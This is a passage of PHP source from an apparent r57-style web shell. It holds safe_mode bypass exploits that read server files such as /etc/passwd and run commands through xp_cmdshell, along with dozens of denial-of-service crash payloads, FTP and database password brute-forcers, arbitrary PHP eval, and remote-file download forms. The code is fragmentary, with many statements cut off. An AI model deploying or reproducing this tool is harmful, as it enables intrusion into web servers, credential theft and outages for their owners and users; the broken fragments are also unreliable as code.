$path ="{$root}".((substr($root,-1)!="/") ? "/" :
NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
$prevD3 = $D[count($D)-1];
@glob($path."*");
if($D[count($D)-1] != $prevD3)
{
for($r=0; $r < strlen($chars); $r++)
{
$path ="{$root}".((substr($root,-1)!="/") ? "/" :
NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
@glob($path."*");
}
}
}
}
}
}
}
$D = array_unique($D);
foreach($D as $item) echo "{$item}\r\n";
echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)."
sec\r\n";
error_reporting($error_reporting);
}
elseif(@function_exists('realpath') && (!isset($_POST['glob']) ||
isset($_POST['realpath'])))
{
echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n";
if(!$dir){$dir='/etc/';};
if(!empty($_POST['end_rlph']))
{$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';}
if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';}
if($realpath=realpath($dir.'/')){echo $realpath."\r\n";}
if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo
$realpath."\r\n";}
foreach($presets_rlph as $preset_rlph){
if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo
$realpath."\r\n";}
}
for($i=0; $i < strlen($chars_rlph); $i++){
if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo
$realpath."\r\n";}
if($n_rlph<=1){continue;};
for($j=0; $j < strlen($chars_rlph); $j++){
if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".
$end_rlph)){echo $realpath."\r\n";}
for($x=0; $x < strlen($chars_rlph); $x++){
if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}
{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";}
for($y=0; $y < strlen($chars_rlph); $y++){
if($realpath=realpath($dir."/{$chars_rlph[$i]}
{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo
$realpath."\r\n";}
for($z=0; $z < strlen($chars_rlph); $z++){
{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph))
{echo $realpath."\r\n";}
for($w=0; $w < strlen($chars_rlph); $w++){
{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}
{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";}
}
}
}
}
}
}
echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)."
sec\r\n";
}
else echo $lang[$language.'_text29'];
break;
case 'test1':
$ci = @curl_init("file://".$_POST['test1_file']);
$cf = @curl_exec($ci);
echo htmlspecialchars($cf);
break;
case 'test2':
@include($_POST['test2_file']);
break;
case 'test3':
if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],
$_POST['test3_mp']);
if($db)
{
if(@mysql_select_db($_POST['test3_md'],$db))
{
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE
temp_r57_table");*/
@mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE
temp_r57_table");
$r = @mysql_query("SELECT * FROM temp_r57_table");
while(($r_sql = @mysql_fetch_array($r))) { echo
@htmlspecialchars($r_sql[0])."\r\n"; }
@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
}
else echo "[-] ERROR! Can't select database";
@mysql_close($db);
}
else echo "[-] ERROR! Can't connect to mysql server";
break;
case 'test4':
$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],
$_POST['test4_mp']);
if($db)
{
if(@mssql_select_db($_POST['test4_md'],$db))
{
@mssql_query("drop table r57_temp_table",$db);
@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".
$_POST['test4_file']."'",$db);
$res = mssql_query("select * from r57_temp_table",$db);
while(($row=@mssql_fetch_row($res)))
{
echo htmlspecialchars($row[0])."\r\n";
}
@mssql_query("drop table r57_temp_table",$db);
}
else echo "[-] ERROR! Can't select database";
@mssql_close($db);
}
else echo "[-] ERROR! Can't connect to MSSQL server";
break;
case 'test5':
$temp=tempnam($dir, "fname");
if (@file_exists($temp)) @unlink($temp);
$extra = "-C ".$_POST['test5_file']." -X $temp";
@mb_send_mail(NULL, NULL, NULL, NULL, $extra);
echo htmlspecialchars($str);
@unlink($temp);
break;
case 'test6':
$stream = @imap_open('/etc/passwd', "", "");
$dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
for ($i = 0; $i < count($dir_list); $i++) echo
htmlspecialchars($dir_list[$i])."\r\n";
@imap_close($stream);
break;
case 'test7':
$stream = @imap_open($_POST['test7_file'], "", "");
$str = @imap_body($stream, 1);
@imap_close($stream);
break;
case 'test8':
$temp=@tempnam($_POST['test8_file2'], "copytemp");
$str = readzlib($_POST['test8_file1'],$temp);
@unlink($temp);
break;
case 'test9':
$str = moreread($_POST['test9_file']);
break;
case 'test10':
@ob_clean();
$error_reporting = @ini_get('error_reporting');
error_reporting(E_ALL ^ E_NOTICE);
@ini_set("display_errors", 1);
@ini_alter("display_errors", 1);
$str=@fopen($_POST['test10_file'],"r");
while(!feof($str)){print htmlspecialchars(fgets($str));}
fclose($str);
error_reporting($error_reporting);
break;
case 'test11':
@ob_clean();
$temp = 'zip://'.$_POST['test11_file'];
break;
case 'test12':
@ob_clean();
$temp = 'compress.bzip2://'.$_POST['test12_file'];
break;
case 'test13':
@error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".
$_POST['test13_file2']);
echo $lang[$language.'_text61'];
break;
case 'test14':
@session_save_path($_POST['test14_file2']."\0;$tempdir");
@session_start();
@$_SESSION[php]=$_POST['test14_file1'];
break;
case 'test15':
@readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".
$_POST['test15_file2']);
break;
case 'test16':
if (@fopen('srpath://../../../../../../../../../../../'.
$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
break;
case 'test17_1':
@unlink('symlinkread');
@symlink('a/a/a/a/a/a/', 'dummy');
@symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'],
'symlinkread');
@unlink('dummy');
while (1)
{
@symlink('.', 'dummy');
@unlink('dummy');
}
break;
case 'test17_2':
$str='';
while (strlen($str) < 3) {
/* $str = moreread('symlinkread');*/
$str = @file_get_contents('symlinkread');
if($str){ @ob_clean(); echo htmlspecialchars($str);}
}
break;
case 'test17_3':
$dir = $files = array();
if(@version_compare(@phpversion(),"5.0.0")>=0){
while (@count($dir) < 3) {
$dir=@scandir('symlinkread');
if (@count($dir) > 2) {@ob_clean(); @print_r($dir); }
}
}
else {
while (@count($files) < 3) {
$dh = @opendir('symlinkread');
while (false !== ($filename = @readdir($dh))) {
$files[] = $filename;
}
if(@count($files) > 2){@ob_clean(); @print_r($files); }
}
}
break;
case 'test18':
@putenv("TMPDIR=".$_POST['test18_file2']);
@ini_set("session.save_path", "");
@ini_alter("session.save_path", "");
@session_start();
@$_SESSION[php]=$_POST['test18_file1'];
break;
case 'test19':
$m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],
$_POST['test19_md'],$_POST['test19_port']);
if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server:
".mysqli_connect_error() ;};
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler("r");
$m->query("DROP TABLE IF EXISTS temp_r57_table");
$m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )");
$m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE
temp_r57_table");
$r = $m->query("SELECT * FROM temp_r57_table");
while(($r_sql = @mysqli_fetch_array($r))) { echo
@htmlspecialchars($r_sql[0])."\r\n"; }
$m->query("DROP TABLE IF EXISTS temp_r57_table");
$m->close();
break;
}
}
if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump")

&& ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!
="db_brute")){
$cmd_rep = ex($_POST['cmd']);
if(!$unix) { echo
@htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
else { echo @htmlspecialchars($cmd_rep)."\n"; }
}/*elseif($safe_mode){
$cmd_rep = safe_ex($_POST['cmd']);
if(!$unix) { echo
@htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
else { echo @htmlspecialchars($cmd_rep)."\n"; }
}
*/
switch($_POST['cmd'])
{
case 'dos1':
function a() { a(); } a();
break;
case 'dos2':
@pack("d4294967297", 2);
break;
case 'dos3':
$a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a)));
break;
case 'dos4':
$t = array(1);while (1) {$a[] = &$t;};
break;
case 'dos5':
@dl("sqlite.so");$db = new SqliteDatabase("foo");
break;
case 'dos6':
preg_match('/(.(?!b))*/', @str_repeat("a", 10000));
break;
case 'dos7':
@str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538));
break;
case 'dos8':
@shell_exec("killall -11 httpd");
break;
case 'dos9':
function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); }
cx();
break;
case 'dos10':
$a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap
($a,0,$b,0);
break;
case 'dos11':
@array_fill(1,123456789,"Infigo-IS");
break;
case 'dos12':
@substr_compare("A","A",12345678);
break;
case 'dos13':
@unserialize("a:2147483649:{");
break;
case 'dos14':
$Data = @str_ireplace("\n", "<br>", $Data);
break;
case 'dos15':
function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);}
$str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);}
@htmlentities($str1, ENT_NOQUOTES, "UTF-8");
break;
case 'dos16':
$r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e);
for ($i=0; $i<1000; $i++) $arr[$i]=array(array(""));
unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]);
break;
case 'dos17':
$z =
"UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
$y =
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
$x = "AQ
";
unset($z);unset($y);$x = base64_decode($x);$y =
@sqlite_udf_decode_binary($x);unset($x);
break;
case 'dos18':
$MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600);
if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true,
$msg_err))
echo "Msg not sent because $msg_err\n";
if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0,
$msg_error)) {
echo "$msg\n";
} else { echo "Received $msg_error fetching message\n"; break; }
@msg_remove_queue ($msg_id);
break;
case 'dos19':
$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r");
break;
case 'dos20':
$hashtable = str_repeat("A", 39);
$hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);
$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:
{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; }
$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.
$hashtable.'";i:0;R:3;';
@unserialize($str);
break;
case 'dos21':
imagecreatetruecolor(1234,1073741824);
break;
case 'dos22':
imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120,
120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120);
break;
case 'dos23':
$a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349);
iconv_substr($a,0,1,$b);
break;
case 'dos24':
setlocale(LC_COLLATE, str_repeat("A", 34438013));
break;
case 'dos25':
glob(str_repeat("A", 9638013));
break;
case 'dos26':
glob("a",-1);
break;
case 'dos27':
fnmatch("*[1]e", str_repeat("A", 9638013));
break;
case 'dos28':
if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res =
imagepsloadfont($buff); echo "boom!!\n";}
break;
case 'dos29':
if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB');
msql_connect(str_repeat('A',49424).'BBBB');}
break;
case 'dos30':
$a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,
$c);
break;
case 'dos31':
if (extension_loaded("win32std") ) { win_browse_file( 1, NULL,
str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );}
break;
case 'dos32':
if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 );
$eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );}
break;
case 'dos33':
$buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP =
str_repeat("\x43", 100);$get_EBP = str_repeat("\x44",
100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
break;
case 'dos34':
if (extension_loaded("bz2")){ $buff = str_repeat("a",1000);
com_print_typeinfo($buff);}
break;
case 'dos35':
$a = str_repeat("/", 4199000); iconv(1, $a, 1);
break;
case 'dos36':
$a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a);
break;
case 'dos37':
$a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a);
break;
case 'zend':
if(empty($_POST['zend'])){
} else {
$dezend=$_POST['zend'];
include($_POST['zend']);
print_r($GLOBALS);
require_once("$dezend");
echo "</textarea></p>";
}
break;
case 'dos38':
$a = str_repeat("/", 9791999); iconv_strlen(1, $a);
break;
}
if ($_POST['cmd']=="php_eval"){
$eval = @str_replace("<?","",$_POST['php_eval']);
$eval = @str_replace("?>","",$eval);
@eval($eval);}
if ($_POST['cmd']=="ftp_brute")
{
$suc = 0;
if($_POST['brute_method']=='passwd'){
foreach($users as $user)
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user -
success\r\n"; $suc++; }
else if(isset($_POST['reverse'])) { if(@ftp_login($connection,
$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc+
+; } }
}
}else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){
{
$connection = @ftp_connect($ftp_server,$ftp_port,10);
if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".
$_POST['ftp_login'].":$user - success\r\n"; $suc++; }
}
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2;
}
echo $lang[$language.'_text97'].$count."\r\n";
echo $lang[$language.'_text98'].$suc."\r\n";
}
if ($_POST['cmd']=="db_brute")
{
$suc = 0;
if($_POST['brute_method']=='passwd'){
{
$sql->user = $user;
$sql->pass = $user;
if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; }
}
if(isset($_POST['reverse']))
{
{
$sql->user = $user;
$sql->pass = strrev($user);
if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc+
+; }
}
}
}else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){
{
$sql->pass = $user;
if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n";
$suc++; }
}
}
echo "\r\n-------------------------------------\r\n";
$count = count($users);
if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2;
}
echo $lang[$language.'_text97'].$count."\r\n";
echo $lang[$language.'_text98'].$suc."\r\n";
}
if ($_POST['cmd']=="mysql_dump")
{
if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); }
$sql->pass = $_POST['mysql_p'];
$sql->base = $_POST['mysql_db'];
if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump";
}
else {
if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v)
{ morewrite($_POST['dif_name'], $v."\r\n");} }
else { echo "[-] ERROR! Can't write in dump file"; }
}
}
echo "</textarea></div>";
echo "</b>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)

{
return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.
$title.'</a>';
}
function div($id)
{
if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'"
style="display: none;">';
$divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','i
d27','id28','id29','id33','id34','id35','id37','id38','id39');
if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'"
style="display: none;">';
return '<div id="'.$id.'">';
}
if(!$safe_mode){
echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').
$table_up2.div('id1').$ts;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo sr(15,"<b>".$lang[$language.'_text4'].
$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$languag
e.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('s
ubmit','submit',0,$lang[$language.'_butt6']));
}
$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hid
den','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
echo "<table class=table1 width=100% align=center>";
echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!
empty($_POST['zend'])?($_POST['zend']):
("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('
submit','submit',0,$lang[$language.'_butt8']));
{
echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,
(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select
name=action><option value=create>".$lang[$language.'_text65']."</option><option
value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select
name=what><option value=file>".$lang[$language.'_text59']."</option><option
value=dir>".
$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidd
en','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
}
if($unix && @function_exists('touch')){

$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?
($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].
$arrow."</b>"
.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?
($_POST['file_name_r']):(""))));
echo sr(15,"<b> or set Day".$arrow."</b>",
'
<select name="day" size="1">
<option value="01">1</option>
</select>'
.ws(4)."<b>Month".$arrow."</b>"
.'
<select name="month" size="1">
<option value="January">January</option>
<option value="February">February</option>
<option value="March">March</option>
<option value="April">April</option>
<option value="May">May</option>
<option value="June">June</option>
<option value="July">July</option>
<option value="August">August</option>
<option value="September">September</option>
<option value="October">October</option>
<option value="November">November</option>
<option value="December">December</option>
</select>'
.ws(4)."<b>Year".$arrow."</b>"
.'
<select name="year" size="1">
</select>'
.ws(4)."<b>Hour".$arrow."</b>"
.'
<select name="chasi" size="1">
</select>'
.ws(4)."<b>Minute".$arrow."</b>"
.'
<select name="minutes" size="1">
</select>'
.ws(4)."<b>Second".$arrow."</b>"
.'
<select name="second" size="1">
</select>'
.in('hidden','cmd',0,'touch')
.in('hidden','dir',0,$dir)
.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
}
$select='';
if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
if($unix && $select){
echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,
(($_POST['param1'])?($_POST['param1']):
($_SERVER["SCRIPT_FILENAME"]))).ws(2)."<b>".$lang[$language.'_text68'].
$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2
title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):
("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit',
'submit',0,$lang[$language.'_butt1']));
}
if(!$safe_mode){
$aliases2 = '';
foreach ($aliases as $alias_name=>$alias_cmd)
{
$aliases2 .= "<option>$alias_name</option>";
}
echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select
name=alias>".
$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang
[$language.'_butt1']));
}
$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$la
nguage.'_butt12']));
$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m
id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* (
.txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
if(!$safe_mode && $unix){

$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$la
nguage.'_butt12']));
$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).
$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$d
ir));
}
$table_up2.$font;
echo "<div align=center>".div('id800')."<textarea name=php_eval cols=100
rows=10>";
echo (!empty($_POST['php_eval'])?($_POST['php_eval']):
("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_cont
ent(\"/etc/passwd\");"));
echo "</textarea>";
echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
echo "</div></div></font>";
echo $table_end1.$fe;
{
echo "<table class=table1 width=100% align=center>";
$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?
($_POST['test2_file']):
("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in(
'submit','submit',0,$lang[$language.'_butt8']));
}
{
}
{
$arrow."</b>",in('text','test19_md',15,(!empty($_POST['test19_md'])?
($_POST['test19_md']):("mysqli"))).ws(4)."<b>".$lang[$language.'_text37'].
$arrow."</b>".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?
($_POST['test19_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text39'].
$arrow."</b>".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?
($_POST['test19_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].
$arrow."</b>".in('text','test19_port',15,(!empty($_POST['test19_port'])?
($_POST['test19_port']):("3306"))));
("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in
('submit','submit',0,$lang[$language.'_butt8']));
}
{
echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,
(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".
$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!
empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".
$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!
empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".
$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!
empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit'
,'submit',0,$lang[$language.'_butt8']));
}
{
}
{
($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit',
'submit',0,$lang[$language.'_butt8']));
}
{
}
{
$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?
($_POST['test8_file1']):
("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
echo sr(15,"<b>".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].
($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
}
{
}
{
($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit'
,'submit',0,$lang[$language.'_butt8']));
}
{
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!
empty($_POST['test_global'])?($_POST['test_global']):
($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('su
bmit','submit',0,$lang[$language.'_butt8']));
}
{
$select_n_rlph = "<select name='n_rlph'><option value=1>[ 1 ] (<<0,01
sec)</option><option value=2>[ 2 ] (<0,01 sec)</option>".
"<option value=3 selected>[ 3 ] (<1 sec (default))</option>".
"<option value=4>[ 4 ] (<10 sec)</option><option value=5>[ 5 ] (>100 sec
(danger))</option><option value=6>[ 6 ] (>>100 sec (danger))</option></select>";
echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',30,(!
empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).'<b>'.
$lang[$language.'_text55'].'</b>'.ws(2).in('text','end_rlph',6,(!
empty($_POST['end_rlph'])?($_POST['end_rlph']):
('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).'<b>'.
$lang[$language.'_text146'].'</b>'.ws(2).
$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submi
t',0,$lang[$language.'_butt8']));
}
{
($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws
(4).in('submit','submit',0,$lang[$language.'_butt8']));
}
{
($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').w
s(4).in('submit','submit',0,$lang[$language.'_butt8']));
}
{
echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].
($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
($_POST['test13_file1']):("<? phpinfo(); ?
>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
}
{
($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
}
{
($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
}
{
($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
}
{
($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).
in('submit','submit',0,$lang[$language.'_butt8']));
}
{
echo $table_up1.div_title($lang[$language.'_text131'],'id17').
echo "<tr><td valign=top width=70%>".$ts;
echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",
$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?
("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('su
bmit','submit',0,$lang[$language.'_text136']).$fe);
echo $te."</td><td valign=top width=30%>".$ts;
echo sr(0,"",
$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit'
,0,$lang[$language.'_butt8']).$fe);
echo $te."</td></tr>";
echo $te.'</div>'.$table_end1;
}
{
$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?
($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','su
bmit',0,$lang[$language.'_text136']).$fe);
echo sr(0,"",
$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit'
,0,$lang[$language.'_butt8']).$fe);
echo $te.'</div>'.$table_end1;
}
{
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
$arrow."</b>",in('file','userfile0',85,''));
echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1
id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('sub
mit','submit',0,$lang[$language.'_butt2']));
}
{
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').
echo
sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_
butt2']));
}
{
$select_downloaders.in('hidden','dir',0,$dir).ws(2)."<b>".
$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
$arrow."</b>",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','s
ubmit',0,$lang[$language.'_butt2']));
}
$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in(
